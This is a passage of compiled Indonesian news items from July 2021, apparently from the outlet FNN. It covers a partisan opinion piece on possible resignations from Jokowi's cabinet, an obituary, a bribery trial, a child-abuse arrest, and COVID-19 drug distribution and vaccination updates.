By M Rizal Fadillah Bandung, FNN - Gonjang ganjing kemungkinan ada Menteri Kabinet Jokowi yang akan mengundurkan diri menarik perhatian publik. Meski dengan berbagai alasan namun dipastikan mundurnya itu disebabkan Jokowi sudah tidak memberi harapan bagi sukses pemerintahannya. Terlalu berat pembantunya untuk menunaikan tugas yang diemban sebagai Menteri. Menteri yang pertama mundur akan berpengaruh kepada Menteri lainnya, apalagi jika mundurnya Menteri tersebut atas inisiatif dari Partai Politik yang menaunginya. Bacaannya menjadi kompleks. Efek domino sangat dimungkinkan. Reshuffle yang dilakukan menjadi sia-sia, malah berujung pada kejatuhan Pemerintahan. Potensi atau layak mundur adalah Menteri Keuangan Sri Mulyani karena anggaran negara sudah sangat mengkhawatirkan. Hutang besar yang sulit terbayar dan hutang baru hanya menggali kubur lebih cepat. Menggenjot pajak rakyat bakal memancing kemarahan. Kemudian Menteri BUMN Erick Thohir menyusul kegagalan BUMN yang hampir seluruhnya terlilit hutang dan berkinerja buruk. BUMN gagal menjadi pengisi pundi-pundi kas negara. Erick wajar jika mundur karena disorot keras atas nir-prestasi kerjanya. Menteri Kesehatan Budi Gunadi jika punya rasa salah akan menyatakan tidak sanggup lagi menjabat sebagai Menkes. Penanganan pandemi menjadi tanggung jawabnya. Ternyata ia tidak lebih bagus dari Terawan yang digantikannya. Potensi mundur besar. Menhan Prabowo juga akan berhitung matang jika beberapa Menteri telah mengundurkan diri dan rakyat mendukung pengunduran itu. Keluar dari Kabinet adalah bagian dari cara untuk merehabilitasi diri. Jika Golkar bermanuver Menko Airlangga juga bisa lompat, begitu juga dengan Mahfud MD yang selama ini menunjukkan kepribadian ganda, berbalik tarikan untuk kecendikiawanannya meski telah sangat tercemar parah. Yang sulit mundur pasti Menko Marinves Luhut Binsar Panjaitan sang "penentu" Pemerintahan dan juga Menag Yaquts Qaumas yang baru menikmati lezatnya kursi Kementrian. Menteri asal PDIP seperti Yasonna Laoly, Tjahjo Kumolo, Pramono Anung, dan lainnya sangat tergantung pada perintah Megawati. Itupun melihat tingkat ketegangan Megawati dengan Jokowi yang saat ini nampak tidak akur-akur amat. Petugas partai yang bermimikri menjadi petugas siapa saja yang memakai. Kabinet Jokowi sudah rapuh. Pandemi menggerogoti imunitas kesolidan. Hampir menyerupai mundurnya menteri-menteri di India akibat Moudi yang tak mampu dan 'ndableg'. Begitu juga dengan PM Malaysia Muhyiddin Yassin yang didesak UMNO agar mundur akibat ketidakbecusan menangani Pandemi. Di sini Jokowi juga gagal karena Panglima penanganan pandemi ini suka sembunyi dan tak jelas posisi. Kini tinggal menunggu waktu saja untuk mundurnya Menteri Kabinet Jokowi. Beradu cepat dengan reshuffle inisiatif Presiden. Akan tetapi situasi sudah semakin berat, sehingga semua menjadi tidak berarti lagi. Rakyat sudah sepakat Jokowi harus diganti. Tidak yakin ? Buatlah referendum. *) Pemerhati Politik dan Kebangsaan

Obituari - Pengabdian Sepanjang Hayat dr Rosita S Noer di Lemhannas

Jakarta, FNN - Berbagai lakon dan profesi pernah digeluti Rosita Sofyan Noer selama hidupnya, tetapi dia menutup usianya saat masih aktif mengabdi sebagai Tenaga Profesional Bidang Geopolitik dan Wawasan Nusantara di Lembaga Ketahanan Nasional (Lemhannas), suatu lembaga negara yang terletak di Jalan Medan Merdeka Selatan, Jakarta Pusat. Sejak 1997, Dr dr Rosita S Noer menjalankan baktinya sebagai salah satu putri terbaik negeri di Lemhannas. Rosita adalah "paket lengkap", begitu kesan-kesan yang dikenang oleh sahabat dan sejawatnya. Sebelum berkiprah sebagai peneliti di Lemhannas, dia juga pernah menjalankan tugas sebagai seorang dokter, ahli kesehatan, aktivis HAM, anggota MPR, politisi, pengajar, dan seorang pengusaha. Di tengah berbagai kesibukannya, dia juga dikenang sebagai sosok yang aktif berorganisasi. Rosita, yang wafat pada usia 73 tahun pada 11 Juli 2021, pernah menjabat sebagai pengurus Ikatan Alumni Universitas Indonesia, Wakil Ketua Umum Ikatan Keluarga Alumni Lemhannas, serta pengurus Kamar Dagang dan Industri Indonesia. Tidak hanya itu, dia juga pernah bergabung dalam Tim Gabungan Pencari Fakta Peristiwa Mei 1998. TGPF merupakan tim khusus yang dibentuk pemerintah untuk menyelidiki serta memverifikasi berbagai laporan mengenai dampak kerusuhan pada Mei 1998 yang menjadi titik akhir pemerintahan rezim Orde Baru. Di TGPF Mei 1998, dia menjabat sebagai sekretaris tim sekaligus anggota. Ia bersama Hetty S, Indardi Kusuma, dan Sri Rahajeng, juga mengurus Sekretariat TGPF di Jalan Hang Tuah Raya Nomor 3, Kebayoran Baru, Jakarta. Tim gabungan itu dipimpin Marzuki Darusman (pernah menjadi jaksa agung) yang saat itu merupakan anggota Komnas HAM. Tidak hanya aktif di TGPF, Rosita juga pernah memimpin Organisasi Kesatuan Bangsa dan Kesatuan Forum Komunikasi Kesatuan Bangsa. Keduanya merupakan lembaga swadaya masyarakat yang berusaha meningkatkan persatuan antarkelompok yang berbeda di masyarakat demi memelihara perdamaian di tanah air. Namun dari ragam baktinya untuk negeri, nama Rosita tak dapat dilepaskan dari Lemhannas RI, kata Gubernur Lemhannas, Letnan Jenderal TNI (Purn) Agus Widjojo. “Selama 24 tahun berkarya di Lemhannas RI, almarhumah menunjukkan dedikasi dan loyalitasnya yang luar biasa,” sebut Widjojo sebagaimana dikutip dari keterangan tertulisnya yang diterima di Jakarta, Selasa. Lemhannas merupakan tempat bagi Rosita menimba ilmu, mengingat ia merupakan Alumni Kursus Singkat Angkatan VI Lemhannas pada 1996. Sebelum itu, Rosita telah menyelesaikan studinya di Fakultas Kedokteran Universitas Indonesia, Fakultas Ekonomi Universitas Indonesia, Institut Européen d'Administration des Affaires (INSEAD), Columbia University, dan International Relations JFK School of Government Harvard University. Pengetahuannya yang luas dan kepakarannya terhadap isu-isu geopolitik jadi salah satu sumbangan yang diberikan Rosita kepada Lemhannas semasa hidupnya. “Berkali-kali dan kepada banyak pihak sebelum meninggal, almarhumah menyampaikan keinginannya untuk disemayamkan di Lemhannas sebelum dimakamkan,” ujar Widjojo. Akan tetapi, permintaan Rosita tak dapat dipenuhi Lemhannas karena ada kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat Darurat di wilayah Pulau Jawa dan Pulau Bali yang berlaku pada 3-20 Juli 2021. Namun, sebagai wujud penghormatan terakhir Lemhannas kepada Rosita, tempatnya mengabdi itu dijadikan sebagai titik lintasan terakhir sebelum jasad almarhumah dibawa ke pemakaman. “Lemhannas tidak dapat memenuhi keinginan almarhumah. Untuk itu, bentuk persemayaman dan penghormatan terakhir kepada Dr Rosita diganti dengan lintasan terakhir ambulans yang membawa jenazah almarhumah menuju pemakaman,” kata Widjojo. Penghormatan Terakhir Gedung Lemhannas pun jadi saksi bisu bakti Rosita kepada negeri. Di tempat itu pula, ia mendapatkan penghormatan terakhir dari sahabat dan sejawatnya, antara lain Widjojo, Wakil Gubernur Lemhannas, Marsekal Madya TNI Wieko Syofyan, Deputi Bidang Pengkajian Strategik Lemhannas, Prof Dr Ir Reni Mayerni, dan Tenaga Profesional Bidang Sumber Kekayaan Alam dan Ketahanan Nasional Lemhannas, Prof Dr Ir Dadan Umar Daihani. Upacara itu, meskipun hanya berlangsung lima menit, berjalan khidmat. Di halaman depan Gedung Trigatra, Widjojo memimpin acara penghormatan kepada salah satu tokoh yang punya banyak sumbangsih bagi lembaga itu. Usai memberi penghormatan terakhir, mereka yang hadir mendoakan almarhumah dan mengantarnya kembali ke ambulans. Jasad Rosita kemudian melanjutkan perjalanan menuju tempat peristirahatan terakhir di Taman Pemakaman Umum Tanah Kusir, Jakarta. Acara penghormatan itu jadi cara Lemhannas memenuhi keinginan terakhir Rosita. “Beliau berharap sekali mendapat kesempatan untuk disemayamkan di Lemhannas apabila meninggal,” sebut Wieko. Bagi Widjojo, kepergian Rosita adalah kehilangan. Tidak hanya dia, tetapi Lemhannas kehilangan putri terbaiknya. Walaupun demikian, bagi dia dan mereka yang masih mengabdi di Lemhannas, sosok Rosita akan tetap abadi, mengingat sumbangsihnya dalam bentuk buku-buku dan pikirannya akan terus dipelihara dan diteruskan ke generasi selanjutnya. Setidaknya ada kurang lebih 2.000 judul buku yang disumbangkan Rosita ke Lemhannas semasa hidupnya. “Dengan ikhlas, saya berikan buku ini saya berikan kepada lembaga tempat saya bekerja selama bertahun-tahun ini dengan tujuan semoga banyak yang membaca dan mendapatkan manfaat dari buku ini,” kata mendiang Rosita saat menyerahkan koleksi bukunya ke Lemhannas pada Juni 2019. Buku-buku koleksi Rosita pun diterima langsung oleh Widjojo dan masih dapat dibaca pegawai, peneliti, dan masyarakat umum sampai saat ini. "Selamat jalan menuju keabadian Dr Rosita... Beristirahatlah dalam damai. Kami akan selalu mengenang jasa-jasamu...," demikian kata-kata terakhir Lemhannas melepas kepergian mendiang Rosita Sofyan Noer.(mth)

Penyuap Nurdin Abdullah Dituntut Dua Tahun Penjara

Makassar, FNN - Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) menuntut dua tahun penjara dan denda Rp250 juta terhadap terdakwa Agung Sucipto, penyuap Gubernur Sulsel non-aktif Nurdin Abdullah. Amar tuntutan JPU yang dibacakan secara bergilir oleh Muhammad Asri, Andri Lesmana, Januar Dwi Nugroho dan Yoyo Piter di Pengadilan Negeri Tipikor Makassar, Selasa. Di hadapan majelis hakim yang diketuai oleh Ibrahim Palino, bahwa dengan didukung keterangan terdakwa yang telah dibenarkan, serta alat bukti surat presiden tentang pengesahan dan pengangkatan Gubernur dan Wakil Gubernur Sulsel, dengan masa jabatan tahun 2018-2023. Adapun fakta-fakta hukum tersebut, dapat disimpulkan bahwa terdapat pemberian uang 150.00 dolar Singapura, dan uang senilai Rp2,5 miliar terhadap Nurdin Abdullah. "Yang diserahkan langsung oleh terdakwa Agung Sucipto kepada Gubernur Sulsel Nurdin Abdullah melalui Edi Rahmat adalah pemberian suap," ungkap Januar Dwi Nugroho. Dengan maksud agar Gubernur Sulsel Nurdin Abdullah selaku penyelenggara negara, mau berbuat sesuatu dalam jabatannya, yakni agar Nurdin Abdullah selaku Gubernur Sulsel memenangkan PT Agung Perdana Bulukumba dan PT Cahaya Sepang Bulukmba. Dalam lelang paket pekerjaan di Dinas PUPR Pemprov Sulsel dan memberikan persetujuan bantuan pada proyek infrastruktur sumber daya air di Dinas PU dan penataan ruang di Kabupaten Sinjai tahun 2021, agar dapat dikerjakan oleh perusahaan terdakwa. Dimana bertentangan dengan pasal 5 angka 4 dan 6 Undang-undang RI nomor 28 tahun 1999, jo pasal 76 ayat (1) huruf (a) dan (e) Undang-undang tahun 2014, tentang pemerintahan daerah. Sebagaimana diubah dengan Undang-undang nomor 9 tahun 2015. "Dengan uraian fakta-fakta yang disebutkan bahwa kami selalu penuntut umum. Berkesimpulan bahwa terdakwa Agung Sucipto, telah terbukti secara sah dan meyakinkan bersalah," ujar JPU Muhammad Asri. Melakukan tindak pidana korupsi secara berlanjut, sebagaimana diatur dalam dakwaan alternatif pertama, dalam pasal 5 ayat (1) huruf (a), Undang-undang nomor 31 tahun 1999 tentang tindak pidana korupsi. Sebagaimana diubah dengan nomor 20 tahun 2001, tentang pemberantasan tindak pidana korupsi. Juncto pasal 64 ayat (1) KUHP. Hal-hal yang memberatkan terdakwa. Terdakwa dianggap tidak mendukung program pemerintah dalam memberantas tindak pidana korupsi. Sedangkan hal-hal yang meringankan, terdakwa selama persidangan selalu berlaku sopan. "Terdakwa koperatif dan berterus-terang, sehingga tidak mempersulit jalannya persidangan," ujar JPU. Terdakwa juga belum pernah dihukum. Dengan memperhatikan ketentuan perundang undangan, yang berkenaan dengan perkara ini. "Kami penuntut umum dalam perkara ini menuntut dengan menjatuhkan pidana terhadap terdakwa Agung Sucipto. Dengan pidana penjara selama dua tahun serta pidana denda sebesar Rp250 juta, subsider selama 6 bulan kurungan," ucap-nya. (mth)

Polresta Sidoarjo Tangkap Pelaku Kekerasan terhadap Balita

Sidoarjo, FNN - Petugas Satuan Reserse Kriminal Polresta Sidoarjo, Jawa Timur, berhasil menangkap seorang pelaku berinisial RF yang diduga melakukan kekerasan terhadap anaknya sendiri yang masih balita. Kepala Kepolisian Resor Kota Sidoarjo Komisaris Besar Polisi Kusumo Wahyu Bintoro di Sidoarjo Selasa mengatakan pelaku mengaku tega melakukan perbuatannya tersebut lantaran sering kalah pada permainan dalam jaringan (game online). "Jadi pelaku mengaku kalah saat main game online. Kemudian anaknya menjadi tempat pelampiasan," katanya saat temu media di Mapolresta Sidoarjo. Ia mengatakan, pelaku melampiaskan emosinya pada sang buah hati yang masih di bawah umur. Pelaku lepas kontrol, sambil marah lalu memukul punggung belakang anaknya sebanyak satu kali menggunakan telapak tangan kanan dan wajah anaknya ditampar baju. "Kejadian kekerasan fisik terhadap anak tersebut, dilakukan RF, di rumahnya di Tulangan, Sidoarjo, pada 29 Juni 2021 sore. Bermula saat dirinya pulang kerja setibanya di rumah, mengetahui kondisi rumah berantakan dan anaknya belum mandi," ujarnya. Kemudian, kata dia, pelaku mengajak anaknya mandi, namun tidak mau sambil menangis. Hingga pelaku cekcok dengan istri-nya. Karena terbawa emosi, RF memaksa anaknya untuk tetap mandi dengan melepas paksa baju anak. "Dari situlah kekerasan fisik dilakukan RF pada anaknya yang tidak mau disuruh mandi. Baju korban dibuka paksa, lalu punggung belakangnya dipukul sekali dengan telapak tangan kanan sambil berkata keras pada anaknya. Tidak berhenti, RF masih saja memukuli wajah korban dengan baju,” ujar Kapolresta Sidoarjo Kombes Pol. Kusumo Wahyu Bintoro. Sebelumnya, di media sosial beredar video berdurasi 17 detik merekam kekerasan fisik seorang bapak (RF) pada anaknya yang masih balita. Menindaklanjuti video viral tersebut, Satreskrim Polresta Sidoarjo melalui Unit Perlindungan Perempuan dan Anak) bergerak cepat mengungkap kasus ini. Ia mengatakan, petugas Satreskrim Polresta Sidoarjo berhasil menangkap RF ayah kandung dari korban, pada 11 Juli 2021 di rumah orang tuanya di Tanggulangin. Bahkan juga telah dilakukan visum kepada korban, terdapat luka bagian telinga, pipi dan kepala. Sebab itu sebagai tersangka kekerasan fisik terhadap anak di bawah umur, kini RF meringkuk di balik jeruji tahanan. "Ancaman hukuman bagi RF, paling lama tiga tahun enam bulan. Sebagaimana dimaksud dalam Pasal 80 UURI No. 35 Tahun 2014 tentang Perubahan atas UURI No. 23 Tahun 2002 tentang perlindungan anak," ujarnya. (mth)

Kementerian PUPR: Program Sejuta Rumah Tetap Berjalan Saat Pandemi

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) menegaskan bahwa meski pandemi, program Sejuta Rumah tetap berjalan sehingga kalangan pengembang diharapkan terus bersemangat dalam rangka membangun rumah untuk masyarakat di berbagai daerah. "Kami akan terus menggandeng para pelaku pembangunan agar tetap bersemangat membangun rumah yang layak huni untuk seluruh masyarakat Indonesia," kata Direktur Jenderal Perumahan Kementerian PUPR, Khalawi Abdul Hamid di Jakarta, Selasa. Untuk itu, ujar dia, Kementerian PUPR akan terus berkoordinasi dengan para pelaku pembangunan guna memperkuat pendataan pembangunan perumahan di Indonesia yang termasuk dalam program Sejuta Rumah. Menurut Khalawi, sesuai dengan amanat Undang-undang Nomor 1 Tahun 2011 tentang Perumahan dan Kawasan Permukiman, pemerintah pusat dalam melaksanakan pembinaan mempunyai wewenang untuk menyusun dan menyediakan basis data perumahan dan kawasan permukiman. Hal tersebut, lanjutnya, perlu mendapat dukungan dari pemerintah daerah baik di tingkat provinsi hingga kabupaten/kota serta para pelaku pembangunan perumahan lainnya. "Kami berharap dukungan dari mitra kerja Kementerian PUPR di bidang perumahan yang ikut melaksanakan pembangunan perumahan untuk tetap mengirimkan data hasil pembangunan yang dilaksanakan. Hal ini dilaksanakan untuk mendukung pendataan program Sejuta Rumah di masa pandemi," paparnya. Kementerian PUPR, masih menurut dia, selama ini terus berupaya menyediakan data program Sejuta Rumah sebaik mungkin. Data tersebut berasal dari hasil pembangunan rumah umum maupun rumah komersil yang berasal dari sumber APBN maupun dari non-APBN. Sementara itu, Direktur Rumah Umum dan Komersial Direktorat Jenderal Perumahan Kementerian PUPR Fitrah Nur menyatakan dalam pendataan program Sejuta Rumah, Kementerian PUPR membagi ke dalam dua kelompok yakni rumah untuk masyarakat berpenghasilan rendah (MBR) dan rumah untuk non-MBR. Adapun kriterianya terdiri dari rumah baru yang telah selesai dibangun dan rumah layak huni yang telah selesai terbangun dan terhuni. Di tempat terpisah, Direktur Riset Center of Reform on Economics (CORE) Piter Abdullah menilai Penyertaan Modal Negara (PMN) yang rencananya akan diberikan kepada Bank Tabungan Negara Tbk akan membantu bank tersebut untuk mengoptimalkan program Sejuta Rumah. "Pemerintah tidak bisa lepas tangan. Sehingga menjadi konsekuensi logis bagi pemerintah untuk mendukung permodalan BTN, melalui PMN. Demi optimalisasi program yang diamanatkan kepada BTN," ujar Piter. Apalagi, lanjut Piter, kebutuhan perumahan untuk kelompok masyarakat menengah ke bawah tidak sebanding dengan ketersediaan rumah (backlog). Dengan kata lain, angka backlog-nya masih sangat tinggi, yaitu sekitar 11 juta unit. (mth)

UGM Kehilangan Profesor Spesialis Mata Akibat COVID: Wasisdi Gunawan

Jogjakarta, FNN - Universitas Gadjah Mada (UGM) Jogjakarta kehilangan Prof dr. Wasisdi Gunawan, Sp.M Kes, dokter Spesialis Mata yang telah menyelesaikan studi kedokteran di RSUP Dr. Sardjoto Sleman. Almarhum sehari-harinya Praktek Dokter di RS Mata Dr. YAP Jogjakarta Jl. Cik Di Tiro No. 5 Jogjakarta. Prof Wasisdi adalah Ketua Bank Mata-PPMTI (Perkumpulan Penyantun Mata Tunanetra Indonesia) Cabang Jogjakarta. Bank Mata-PPMTI merupakan organisasi sosial yang bertugas membantu menangani kerusakan kebutaan karena kerusakan kornea. Ia adalah salah satu dokter di RS Mata "Dr. YAP" Jogjakarta mengatakan operasi cangkok kornea bisa dilakukan saat usia 1 tahun dan menunggu donor kornea, namun untuk mencari donor kornea sangatlah sulit. Salah satu pasiennya ada yang bernama Revani. Menurut Prof Wasisdi, cara yang bisa dilakukan agar Revani bisa melaksanakan operasi cangkok mata saat berusia 1 tahun adalah membeli kornea melalui bank mata. Untuk dua kornea Revani membutuhkan biaya kurang lebih Rp 44 juta dengan biaya operasi kurang lebih Rp 25 juta, ditambah dengan biaya lain-lain untuk akomodasi selama perawatan. Menurut Prof Wasisdi, kornea calon donor mata akan diambil setelah meninggal. Pengangkatan kornea mata harus sudah dilaksanakan kurang dari enam jam sejak calon donor dinaytakan meninggal dunia Karena apabila lebih dari enam jam, kornea mata telah rusak dan dalam waktu kurang dari 24 jam sudah harus dicangkkokkan ke calon resipien, kecuali kalau kornea mata tersebut diawetkan. Kini Prof Wasisdi telah berpulang menghadap Allah SWT. Innaalilahi wa innaa ilaihi rooji'un. Semoga husnul khotimah. Kabar duka lagi dari UGM. Selain Prof Wasisdi, "Hari ini telah wafat 1 guru saya lagi. dr. Adi Wiyono, Sp.PD KHOM. Semoga Husnul khotimah," kata dr. Mji Mujiran. (mth)

BPOM: Penumpukan Obat Terapi COVID-19 di PBF karena Menunggu Order

Jakarta, FNN - Kepala Badan Pengawas Obat dan Makanan (BPOM) Penny K Lukito mengemukakan penumpukan stok obat terapi COVID-19 di gudang penyimpanan Pedagang Besar Farmasi (PBF) resmi tidak menyalahi aturan sebab menunggu pesanan dari konsumen. "PBF yang resmi itu bisa jadi dianggap menumpuk obat, tapi sebenarnya itu kewenangan mereka menunggu 'order' dulu," katanya saat hadir secara virtual dalam agenda Rapat Dengar Pendapat (RDP) bersama Komisi IX DPR RI yang dipantau dari Jakarta, Selasa. Sesuai peraturan distribusi obat, kata Penny, PBF yang memeroleh kewenangan untuk menyimpan obat yang belum mendapatkan pemesanan baik dari konsumen maupun perusahaan rekanan. Penny mengatakan distribusi obat tidak secara otomatis bisa dilakukan PBF meskipun di tengah lonjakan kasus COVID-19 yang saat ini terjadi di Tanah Air. Berdasarkan undang-undang kesehatan dan peraturan cara distribusi obat yang baik, kata Penny, peristiwa penumpukan obat di tingkat PBF dapat diawasi secara langsung oleh otoritas berwenang. "Data ini bisa digunakan, misalnya oleh Kemenkes untuk menarik produk obat yang dibutuhkan bagi zona merah. Realokasi obat-obat yang dibutuhkan daerah lain berdasarkan sistem laporan tersebut," katanya. Berdasarkan hasil inspeksi BPOM terhadap proses distribusi obat terapi COVID-19 di instalasi PBF resmi, kata Penny, hingga Jumat (9/7) belum ada indikasi penimbunan yang ilegal. "Berdasarkan hasil inspeksi instalasi resmi PBF, dapat kami katakan bahwa belum ada indikasi penimbunan ilegal karena itu sesuai Cara Distribusi Obat yang Baik (CDOB). Hanya alasannya apa, ada hal lain yang bisa diobservasi lagi, misalnya harga dan sebagainya, itu di luar dari BPOM," katanya. Zat aktif obat terapi COVID-19 yang telah mendapatkan persetujuan penggunaan dalam kondisi darurat dari BPOM di antaranya, Remdesivir untuk pasien dalam bentuk serbuk injeksi dan larutan konsentrat untuk infus. Remdisivir berbentuk serbuk injeksi diproduksi dengan sejumlah nama obat di antaranya Remidia, Cipremi, Desrem, Jubi-R, Covifor, dan Remdac, sedangkan Remdisivir dalam bentuk larutan konsentrat bernama Remeva. Remdisivir diberikan kepada pasien dewasa dan anak yang dirawat di rumah sakit setelah dinyatakan terkonfirmasi positif COVID-19 dengan derajat keparahan berat. Zat aktif yang juga memperoleh izin darurat adalah Favipirapir dalam bentuk tablet salut selaput. Saat ini Favipirapir diproduksi dengan nama obat Avigan, Favipirapir, Favikal, Avifavir, dan Covigon. Indikasi obat tersebut diberikan kepada pasien COVID-19 dengan derajat keparahan sedang yang dikombinasi dengan standar pelayanan kesehatan. (sws)

Kejari Purwokerto Salurkan Bantuan bagi Warga Terdampak PPKM Darurat

Purwokerto, FNN - Kejaksaan Negeri (Kejari) Purwokerto, Kabupaten Banyumas, Jawa Tengah, menyalurkan bantuan berupa 150 paket sembako bagi warga terdampak pandemi COVID-19 dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Penyerahan bantuan yang juga dalam rangka Hari Bhakti Adhyaksa Ke-61 dan Hari Ulang Tahun Ke-41 Ikatan Adhyaksa Dharmakarini kepada warga penerima manfaat di sejumlah wilayah Purwokerto, Selasa, dipimpin langsung oleh Kepala Kejari Purwokerto Sunarwan. "Semoga bantuan berupa paket sembako yang terdiri atas beras, mi instan, gula pasir, minyak goreng, teh, kopi, kecap, dan telur ini sedikit bisa membantu warga yang terdampak," kata Kepala Kejari Purwokerto Sunarwan. Ia mengakui selama pandemi COVID-19 dan pelaksanaan PPKM Darurat, banyak warga yang terdampak, seperti penghasilannya berkurang, bahkan ada juga yang kehilangan mata pencaharian. Oleh karena itu, kata dia, warga yang terdampak pandemi COVID-19 dan PPKM Darurat sangat membutuhkan bantuan bahan pangan. Sunarwan mengharapkan aksi solidaritas tersebut setidaknya bisa mengetuk institusi lain maupun pengusaha untuk bersama-sama memberikan bantuan bahan pangan bagi warga yang membutuhkan. "Selain memberikan bantuan paket sembako, kami juga akan menggelar vaksinasi massal bagi warga yang belum divaksin," katanya. Bantuan paket sembako tersebut, di antaranya diberikan kepada sejumlah pesuruh kantor (office boy) dan tukang becak di beberapa wilayah Purwokerto serta Panti Asuhan Al Maun dan Panti Asuhan Kalimosodo di Kelurahan Kober, Kecamatan Purwokerto Barat. (sws)

Organda Aceh Dukung Vaksinasi Vaksin COVID-19 Awak Angkutan

Banda Aceh, FNN - Organisasi Angkutan Darat (Organda) Aceh mendukung vaksinasi vaksin COVID-19 bagi awak angkutan umum, terutama sopir dan kernet guna memulihkan perekonomian sektor transportasi. Ketua Organda Aceh H Ramli di Banda Aceh, Selasa, mengatakan vaksinasi COVID-19 merupakan program pemerintah menekan angka penularan dan penyebaran COVID-19. "Sejak pandemi COVID-19 berlangsung, sektor transportasi ikut terpuruk. Dengan adanya program vaksinasi untuk kalangan awak angkutan, kami optimistis sektor transportasi bisa bangkit kembali," katanya. Pihaknya sudah duduk bersama dengan Dinas Perhubungan Aceh dan Direktorat Lalu Lintas Polda Aceh membahas program vaksinasi vaksin COVID-19. Dalam rapat koordinasi tersebut, kata dia, para pihak sepakat melaksanakan program vaksinasi menyasar awak angkutan umum. Tujuannya untuk mewujudkan kekebalan tubuh kalangan awak angkutan umum terhadap COVID-19. "Vaksinasi vaksin ini untuk mencegah angkutan umum menjadi klastes penularan COVID-19. Kalau sopir angkutan umum terpapar, maka semua penumpang yang dibawanya berpotensi tertular COVID-19," katanya. Menurut dia setelah awak angkutan umum menerima vaksin COVID-19, maka ke depannya perlu dikeluarkan kebijakan agar semua penumpang wajib memperlihatkan sertifikasi vaksin jika hendak menggunakan angkutan umum. "Kami mengajak perusahaan angkutan umum meyakinkan sopir dan kernet agar ikut program vaksinasi vaksin COVID-19. Vaksinasi ini untuk diri sendiri guna mencegah penularan dan penyebaran COVID-19, sehingga pandemi virus corona ini bisa diakhiri," demikian H Ramli. (sws)

Ketua Umum TP-PKK Dorong Kader Tekan dan Cegah Penyebaran COVID-19

Jakarta, FNN - Ketua Umum Tim Penggerak Pemberdayaan Kesejahteraan Keluarga (TP-PKK) Tri Tito Karnavian mendorong para kader PKK untuk dapat menekan dan mencegah penyebaran COVID-19. Tri Tito Karnavian dalam keterangannya diterima di Jakarta, Selasa, mengatakan keberadaan kader PKK tentu mendukung kinerja dokter, tenaga kesehatan dan aparat keamanan dalam memutus penularan COVID-19. Hal ini disampaikan Tri saat membuka acara Sosialisasi Gerakan Keluarga Sehat, Tanggap dan Tangguh Bencana, yang diselenggarakan oleh TP PKK Kalimantan Selatan. "Saya berharap semua kader PKK harus menjadi agen pemutus rantai COVID-19. Itu harus dibuktikan. Tidak sesaat, namun bisa dilaksanakan secara berkesinambungan,” kata Tri Tito Karnavian. Tri pun meminta semua kader PKK mulai kabupaten, kecamatan, desa/kelurahan sampai RT/RW secara berjenjang meneguhkan diri menjadi satgas keluarga. Langkah nyatanya adalah dengan disiplin mengingatkan anak-anak dan suami agar patuh protokol kesehatan. "Ibu-ibu harus menjadi garda terdepan untuk melindungi keluarga dari penularan virus (COVID-19)," kata Tri. Hal senada juga diungkapkan Pj Ketua TP PKK Kalsel Safriati Safrizal. Ia meminta agar kader PKK terlibat aktif di wilayah masing-masing untuk memberikan penyuluhan tentang stunting dan bahaya COVID-19. "Melalui gerakan ini, diharapkan individu, keluarga, dan masyarakat mampu menolong dirinya sendiri, serta juga tanggap dan tangguh bencana,” Ujar Safriati. Hadir dalam acara, Sekretaris Ditjen Bina Adwil Kemendagri Indra Gunawan, Penjabat Gubernur Kalsel Safrizal ZA, perwakilan Wali Kota Banjarmasin dan Bupati Banjar, serta perwakilan TP PKK kabupaten kota se-Kalsel. Acara peluncuran dan sosialisasi Gerakan keluarga sehat tanggap dan tangguh bencana tersebut diselenggarakan di gedung Mahligai Pancasila, Banjarmasin. (sws)

Komisi IX DPR: Benahi Penyelenggaraan Vaksin Cegah Klaster Penularan

Jakarta, FNN - Anggota Komisi IX DPR RI Muchamad Nabil Haroen meminta pemangku kepentingan untuk memperbaiki tata cara penyelenggaraan vaksinasi guna mencegah munculnya klaster penularan baru. "Penyelenggaraan vaksinasi di Indonesia harus diperbaiki agar lebih optimal," kata anggota Fraksi PDIP DPR RI ini melalui keterangan tertulis yang diterima di Jakarta, Selasa. Ia melihat di beberapa daerah serta pantauan dari tim, penyelenggaraan vaksinasi kurang optimal dari segi teknis. Bahkan, vaksinasi justru menjadi tempat berkerumun karena tidak dikelola secara baik. "Jangan sampai lokasi vaksinasi justru menjadi tempat penyebaran virus," kata Ketua Umum Pimpinan Pusat Pagar Nusa Nahdlatul Ulama tersebut. Ia pun memberikan sejumlah masukan, yakni penjadwalan vaksinasi bisa menggunakan teknologi digital, misalnya melalui website atau menggunakan perangkat RT/RW untuk mempermudah warga yang tidak memiliki akses internet. Setelah itu, pengetatan protokol kesehatan tetap wajib guna mewaspadai penyebaran virus saat vaksinasi di fasilitas kesehatan atau tempat vaksinasi. Tidak hanya itu, Nabil Haroen juga menyarankan strategi jemput bola atau petugas langsung mendatangi masyarakat yang akan divaksin hingga ke tingkat desa atau kelurahan. Edukasi mengenai vaksin perlu terus-menerus disampaikan kepada masyarakat. Kementerian Kesehatan juga bisa menggandeng pesantren, pengelola rumah ibadah, hingga organisasi masyarakat untuk menjalankannya. "Cara ini efektif untuk mengedukasi warga dan penyebaran informasi," katanya. Secara umum vaksinasi merupakan langkah penting untuk penanganan pandemi COVID-19. Hal itu tentunya juga harus diimbangi dengan penerapan protokol kesehatan yang ketat serta menjaga kesehatan dan kekebalan tubuh. (sws)

15,190 Juta Jiwa Penduduk Indonesia Terima Vaksin Lengkap COVID-19

Jakarta, FNN - Satuan Tugas (Satgas) COVID-19 melaporkan jumlah warga Indonesia yang telah menerima dosis vaksin secara lengkap mencapai 15,190 juta jiwa hingga 13 Juli 2021, pukul 12.00 WIB. Data Satgas COVID-19 yang diterima di Jakarta, Selasa, jumlah penduduk yang telah mendapat suntikan dua dosis vaksin COVID-19 per 13 Juli 2021 bertambah 154.530 menjadi 15.190.998 orang. Sementara itu, jumlah penerima vaksin dosis pertama yang tercatat hari ini sebanyak 546.416 jiwa. Dengan tambahan tersebut, maka jumlah penerima vaksinasi dosis pertama kini menjadi 36.914.607 jiwa. Pemerintah berencana memvaksinasi sebanyak 208.265.720 juta orang. Jumlah itu bertambah seiring perluasan cakupan vaksinasi untuk kelompok anak dan ibu hamil. Sebelumnya, target vaksinasi awal yang ditetapkan pemerintah sebanyak 181,5 juta orang. Dengan demikian, maka tercatat suntikan dosis pertama vaksin COVID-19 sudah diberikan pada 17,72 persen dari total 208.265.720 warga yang menjadi sasaran vaksinasi COVID-19. Sementara 